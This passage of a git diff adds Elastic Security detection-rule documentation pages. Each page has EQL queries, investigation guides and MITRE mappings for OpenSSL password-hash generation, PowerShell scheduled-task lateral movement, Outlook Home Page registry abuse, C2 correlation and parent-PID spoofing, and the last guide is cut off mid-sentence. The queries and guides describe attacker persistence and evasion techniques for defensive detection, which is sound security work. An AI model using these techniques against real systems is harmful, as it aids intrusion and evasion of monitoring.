+*Investigating OpenSSL Password Hash Generation* + + +OpenSSL is a robust cryptographic toolkit used for secure communications and data protection, including generating password hashes. Adversaries may exploit OpenSSL to create hashes for unauthorized user accounts or modify existing ones, aiding in persistent access to Linux systems. The detection rule identifies suspicious OpenSSL executions by monitoring specific process actions and arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "openssl" command with the "passwd" argument, as this indicates an attempt to generate a password hash. +- Identify the user account associated with the process execution to determine if the action was performed by a legitimate user or a potential adversary. +- Check the system logs and user activity around the time of the alert to identify any suspicious behavior or unauthorized access attempts. +- Investigate any recent changes to user accounts on the system, focusing on new account creations or password modifications that coincide with the alert. +- Correlate the alert with other security events or alerts from the same host to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the system and its role within the organization, as well as any potential data exposure or system access implications. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use OpenSSL to generate password hashes for legitimate user account management. To handle this, create exceptions for specific administrator accounts or processes that are known to perform these tasks regularly. +- Automated scripts for user account provisioning or maintenance that utilize OpenSSL for password hashing can also cause false positives. Identify these scripts and exclude their execution paths or associated user accounts from the rule. +- Security tools or compliance checks that periodically verify password strength or integrity using OpenSSL might be flagged. Review these tools and whitelist their operations to prevent unnecessary alerts. +- Development environments where OpenSSL is used for testing password hashing functions can generate alerts. Exclude these environments or specific test accounts from monitoring to reduce noise. +- Scheduled tasks or cron jobs that involve OpenSSL for password management purposes should be identified and excluded if they are part of regular system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious OpenSSL processes identified by the detection rule to halt ongoing unauthorized password hash generation. +- Conduct a thorough review of user accounts on the affected system to identify any unauthorized accounts or changes to existing accounts, and revert any unauthorized modifications. +- Change passwords for all user accounts on the affected system, especially those with elevated privileges, to ensure that any compromised credentials are no longer valid. +- Implement additional monitoring on the affected system to detect any further unauthorized use of OpenSSL or similar tools, focusing on process execution and command-line arguments. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and scope of the breach, and to assess potential impacts on other systems. +- Review and update access controls and authentication mechanisms to enhance security and prevent similar incidents in the future, ensuring that only authorized users can perform sensitive operations. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and process.name == "openssl" +and process.args == "passwd" and ?process.args_count >= 4 and +not process.args in ("-help", "--help", "-h") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outbound-scheduled-task-activity-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outbound-scheduled-task-activity-via-powershell.asciidoc new file mode 100644 index 0000000000..46343b67af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outbound-scheduled-task-activity-via-powershell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-outbound-scheduled-task-activity-via-powershell]] +=== Outbound Scheduled Task Activity via PowerShell + +Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Outbound Scheduled Task Activity via PowerShell* + + +PowerShell, a powerful scripting language in Windows, can automate tasks via the Task Scheduler. Adversaries exploit this by creating scheduled tasks to execute malicious scripts, facilitating lateral movement or remote discovery. The detection rule identifies suspicious PowerShell activity by monitoring for the Task Scheduler DLL load and subsequent outbound RPC connections, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.entity_id associated with the suspicious activity. +- Examine the process execution history on the affected host to determine if the PowerShell process (powershell.exe, pwsh.exe, or powershell_ise.exe) has executed any unexpected or unauthorized scripts. +- Check the network logs for the host to identify any unusual or unauthorized outbound RPC connections, particularly those targeting port 135, and verify if the destination addresses are legitimate and expected. +- Investigate the context of the taskschd.dll library load by reviewing recent scheduled tasks on the host to identify any newly created or modified tasks that could be linked to the alert. +- Correlate the alert with other security events or logs from the same host or network segment to identify any patterns or additional indicators of compromise that may suggest lateral movement or remote discovery attempts. + + +*False positive analysis* + + +- Legitimate administrative tasks using PowerShell may trigger the rule if they involve loading the Task Scheduler DLL and making RPC connections. To manage this, identify and whitelist specific scripts or processes that are known to perform these actions regularly. +- Automated system maintenance or monitoring tools might also load the Task Scheduler DLL and establish RPC connections. Review these tools and exclude their process IDs or hashes from the detection rule to prevent false alerts. +- Software updates or installations that use PowerShell scripts could mimic the behavior detected by the rule. Monitor update schedules and temporarily disable the rule during these periods if necessary, or create exceptions for known update processes. +- Developers or IT staff using PowerShell for legitimate remote management tasks may inadvertently trigger the rule. Implement user-based exceptions for trusted personnel or restrict the rule to non-administrative accounts to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement or data exfiltration. +- Terminate the suspicious PowerShell process identified in the alert to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional malicious scheduled tasks or scripts and remove them. +- Review and clean up any unauthorized scheduled tasks created on the system to ensure no persistence mechanisms remain. +- Reset credentials for any accounts that were used or potentially compromised during the incident to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the attack. +- Implement enhanced monitoring for similar PowerShell and scheduled task activities across the network to detect and respond to future threats promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan = 5s + [any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe")] + [network where host.os.type == "windows" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outlook-home-page-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outlook-home-page-registry-modification.asciidoc new file mode 100644 index 0000000000..e6ba55a81a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-outlook-home-page-registry-modification.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-outlook-home-page-registry-modification]] +=== Outlook Home Page Registry Modification + +Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/breaking-the-rules-tough-outlook-for-home-page-attacks/ +* https://github.com/trustedsec/specula + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Outlook Home Page Registry Modification* + + + +*Possible investigation steps* + + +- What does the written registry value tell you about the configured Outlook content target? + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`, plus which Outlook folder or Today page the key controls. + - Hint: check for a deletion on the same `registry.path` after the alert time -- if removed, urgency shifts to post-exploitation cleanup or transient testing. If a loopback or localhost URL is present, check for COM object registrations (CLSID entries) serving content on that port. + - Implication: a loopback or localhost URL with a non-standard port is a strong indicator of Specula-style COM server abuse -- do not treat it as benign internal traffic. External URLs, local HTML files, and UNC paths also support concern. The investigation path is narrower only when the target uses a non-loopback internal hostname or a path consistent with enterprise branding. + +- Which process wrote the setting, and does the writer context fit expected Outlook administration? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `user.id`. + - Hint: if the direct writer is a broker or service process, check `Effective_process.executable` for the true initiator. If signer fields are absent on the registry event, recover the writer from surrounding process telemetry. + - Implication: the writer context is harder to justify when a script host, LOLBin, unsigned, or user-writable binary writes the key, or when the user context does not match known Outlook administration tooling; it is more explainable when the writer is a signed deployment or profile-management tool with a recognized signer. + +- What does the target URL or path resolve to, and does it fit a known abuse pattern? + - Focus: the written target in `registry.data.strings`; for URL targets, review same-host DNS "lookup_result" and connection events with `dns.question.name`, `dns.resolved_ip`, and `destination.ip`; for path targets, pivot to `file.path` on the same `host.id`. + - Hint: if the target is a UNC path, confirm whether the same host reached the backing server in surrounding connection activity and whether a local `file.path` copy was staged before Outlook could render it. + - Implication: external URLs to rare domains or public IPs, user-writable HTML files, and unrecognized network shares support concern. The target is less concerning when it resolves to a recognized enterprise portal or branding content path. Missing corroborating network or file telemetry is unresolved, not benign. + +- Do file events or Outlook process events show the target being staged or activated? + - Focus: same-host file activity tied to the writer or target path (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`), and Outlook or Office process events (`process.executable`, `process.parent.executable`) that access the configured target. + - Hint: for URL targets, correlate Outlook activity to the same resolved IPs or domains; for local or UNC paths, look for the same path being opened after the write. + - Implication: concern rises when the writer stages HTML or script content in user-writable locations and Outlook reaches the same target, or when the modified profile triggers suspicious child or network activity. Absence of staging or activation does not clear the registry write but reduces immediate execution risk. + +- If the local evidence stays suspicious, how did the account authenticate to this host before the registry write? + - Why: writing the Outlook Home Page key requires HKCU hive access, so the session origin can reveal compromised credentials, lateral movement, or unexpected remote access. + - Focus: if Windows Security logs are ingested, query authentication events for `user.id` and `host.id` around the alert time, checking `winlog.logon.type`, `source.ip`, and `winlog.event_data.AuthenticationPackageName`. If authentication data is unavailable, fall back to `process.Ext.session_info.logon_type` from the writer's process event. + - Implication: supports concern when the session originated from an unexpected source IP, used an unusual logon type or authentication package, or cannot be tied to the user's normal access pattern for this host. + +- If the local evidence stays suspicious, does this host show related alerts or adjacent Outlook Home Page variants? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify precursor delivery, suspicious Office execution, network command-and-control, or additional persistence activity on the same asset or user. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broader compromise when the asset also shows delivery, suspicious Office execution, or follow-on persistence alerts; stays locally bounded when surrounding host alerts are limited to routine administration or unrelated benign activity. + +- Escalate when the registry change, writer context, target resolution, execution evidence, and alert scope align on unauthorized Outlook customization or persistence; close only when all evidence fits a recognized Outlook customization or profile-management workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Enterprise branding, profile migration, or configuration-management tooling can legitimately write these keys. Confirm when the `registry.path` family, `registry.data.strings` target, and writer identity all match the same customization or deployment workflow, with no staged external content or divergent infrastructure. +- Before creating an exception, build on the specific `registry.data.strings` value, `process.code_signature.subject_name` or `Effective_process.executable`, and the specific `registry.path` family. Avoid exceptions on `registry.value` alone, `user.name` alone, or the entire Outlook registry subtree. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed `registry.path` family, `registry.data.strings` target, and writer identity that proved the Outlook customization workflow. Create an exception using the same `registry.data.strings` value, writer signer, and `registry.path` family. +- If suspicious but unconfirmed, preserve the modified `registry.path`, written value data, recovered `process.entity_id`, writer identity, any staged `file.path` content, and any related destination or alert context. Apply reversible containment first, such as blocking the page target or limiting Outlook use on the affected host, and avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.code_signature.subject_name`, `registry.data.strings` target, and the modified `registry.path` values before initiating response actions. Use available endpoint response integrations to contain the affected host or account when the writer, target, staging, or activation evidence indicates unauthorized Outlook Home Page abuse. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- Restore the affected Outlook Webview or Today values to a known-good state, remove any malicious local HTML or script content identified during the investigation, and block confirmed malicious domains, IPs, or network shares referenced by the page target. +- If the target points to external infrastructure or a shared path, review proxy, DNS, firewall, and related-alert data for additional hosts or users that reached the same content, then scope any follow-on delivery or persistence activity found on those assets. +- After containment, review whether Outlook Home Page functionality is still needed in the environment and restrict who can manage those settings. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "URL" and + registry.path : ( + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Webview\\*", + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Today\\*" + ) and registry.data.strings : ("*://*", "*:\\*", "\\\\*\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Home Page +** ID: T1137.004 +** Reference URL: https://attack.mitre.org/techniques/T1137/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-panw-and-elastic-defend-command-and-control-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-panw-and-elastic-defend-command-and-control-correlation.asciidoc new file mode 100644 index 0000000000..329e33e2f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-panw-and-elastic-defend-command-and-control-correlation.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-panw-and-elastic-defend-command-and-control-correlation]] +=== PANW and Elastic Defend - Command and Control Correlation + +This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-panw.panos-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0011/ +* https://www.elastic.co/docs/reference/integrations/panw +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: Network + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PANW and Elastic Defend - Command and Control Correlation* + + + +*Possible investigation steps* + + +- Investigate in the Timeline feature the two events matching this correlation (PANW and Elastic Defend). +- Review the process details like command_line, privileges, global relevance and reputation. +- Assess the destination.ip reputation and global relevance. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Trusted system or third party processes performing network activity that looks like beaconing. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Implement network-level controls to block traffic to the destination.ip. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=1m + [network where event.module == "panw" and event.action == "c2_communication"] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-parent-process-pid-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-parent-process-pid-spoofing.asciidoc new file mode 100644 index 0000000000..4bd7fb9bed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-parent-process-pid-spoofing.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-parent-process-pid-spoofing]] +=== Parent Process PID Spoofing + +Identifies parent process spoofing used to thwart detection. Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/ +* https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Parent Process PID Spoofing* + + + +*Possible investigation steps* + + +- Which source events prove the real creator, spoofed child, and visible-parent mismatch? + - Focus: Timeline source events for shared `host.id` and `user.id`; record creator and child `process.entity_id`, `process.pid`, `process.executable`, and child `process.parent.pid` versus `process.parent.Ext.real.pid`. + - Hint: the sequence alert may not expose `process.parent.Ext.real.pid`; use the recovered child event. If absent, empty, or mapped to multiple creator candidates, treat recovery as unresolved, not benign. + - Implication: escalate when `process.parent.Ext.real.pid` maps to the recovered creator while the child reports a different visible parent with no brokered-launch explanation; lower suspicion when both events resolve to one recognized broker, installer, support, or sensor-corrected path for the same product/user. +- Does the recovered creator look like a plausible spoofing initiator? + - Focus: creator `process.pe.original_file_name`, `process.executable`, `process.command_line`, `process.code_signature.exists`, and `process.code_signature.status`. + - Implication: higher concern when the creator is an Office process, script host, LOLBin, user-writable or .NET executable, or unsigned/bad-signature binary whose command line does not fit software deployment; lower suspicion when creator identity and command line fit the recognized updater, installer, EDR, or support component from step 1. +- Is the spoofed child a credible target for cover or a likely payload? + - Focus: child `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.Ext.relative_file_creation_time`, and file events for the child path. !{investigate{"description":"","label":"File events for the spoofed child path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: escalate when the child is newly created, unsigned or untrusted, renamed, or launched from user-writable, temp, task, or unusual .NET paths; lower suspicion when path, signer, original file name, and file age match the same recognized product layout. Identity alone does not clear lineage manipulation. +- Is the visible parent credible for this child? + - Focus: child `process.parent.name`, `process.parent.executable`, `process.parent.command_line`, and `process.parent.pid`, compared with recovered creator `process.entity_id`. + - Implication: stronger evidence of deliberate cover when the visible parent is a trusted system, shell, productivity, or management process with no command context or product relationship to the child; lower suspicion when a recognized service, compatibility layer, or broker mediates that exact child on this host. +- Does user, session, or token context raise severity? + - Focus: `user.id`, `user.domain`, child `process.Ext.session_info.logon_type`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate faster when the chain runs under an unexpected account, remote or network session, service context, or higher integrity than the creator-child role explains; lower suspicion when user, session, integrity, and host pairing fit the recovered support or management workflow. +- Did the spoofed child immediately continue execution in a way that matches payload launch or hollowing? + - Focus: recovered child `process.entity_id` and descendants where `process.parent.entity_id` matches it, checking `process.Ext.created_suspended`, `process.command_line`, and descendant `process.executable`. !{investigate{"description":"","label":"Descendant process events for the spoofed child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the child is created suspended, spawns shells, script hosts, credential tools, unusual binaries, or synthetic process-id/GUID-like command-line values; lower suspicion when descendants stay inside the recovered product workflow. +- If local lineage remains suspicious or unresolved, do related alerts change scope? + - Focus: related alerts for the same `user.id`: PPID spoofing, unusual parent-child, injection, suspicious launcher, or payload execution. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user scope is sparse or ambiguous, check the same `host.id`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user or host shows related process manipulation or payload activity; keep local when related alerts are quiet and source-event evidence resolves to one recognized workflow. + +- Escalate when source recovery, creator role, visible-parent mismatch, child identity, session/token context, or follow-on behavior indicates deliberate lineage manipulation or payload launch; close only when all recovered process evidence binds to one exact recognized brokered-launch workflow with no contradiction; preserve source events and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Treat installers, updaters, application brokers, remote-support tools, and endpoint-security components as candidate explanations, not benign categories. Close only when one recovered creator-child-visible-parent tuple is internally consistent across creator and child `process.executable`, visible parent `process.parent.executable`, signer `process.code_signature.subject_name`, command intent `process.command_line`, session type `process.Ext.session_info.logon_type`, and the same `user.id` plus `host.id`. If telemetry cannot prove legitimacy, require outside confirmation for that exact activity before closing. +- Before creating an exception, validate recurrence of the same recovered creator-child-visible-parent pattern for the same host or user cohort across prior alerts from this rule. Anchor on stable creator, child, and visible-parent executables, `process.code_signature.subject_name`, session/integrity context, and relevant `host.id` or `user.id`; avoid exceptions on `process.name`, process IDs, or real-parent PID values alone. + + +*Response and remediation* + + +- Before containment reversal, isolation, process termination, or cleanup, preserve Timeline source events, recovered creator and child `process.entity_id` values, the real-vs-visible parent PID mapping, command lines, signer/hash context, session/token context, and descendant process events. +- If confirmed benign after preservation, reverse temporary containment and document the exact creator-child-visible-parent workflow, including stable creator and child identity, visible parent identity, signer, command context, session type, and `host.id` or `user.id` scope. Create an exception only after recurrence or outside confirmation proves the same workflow. +- Apply reversible containment first: heightened monitoring, temporary user-session containment, or 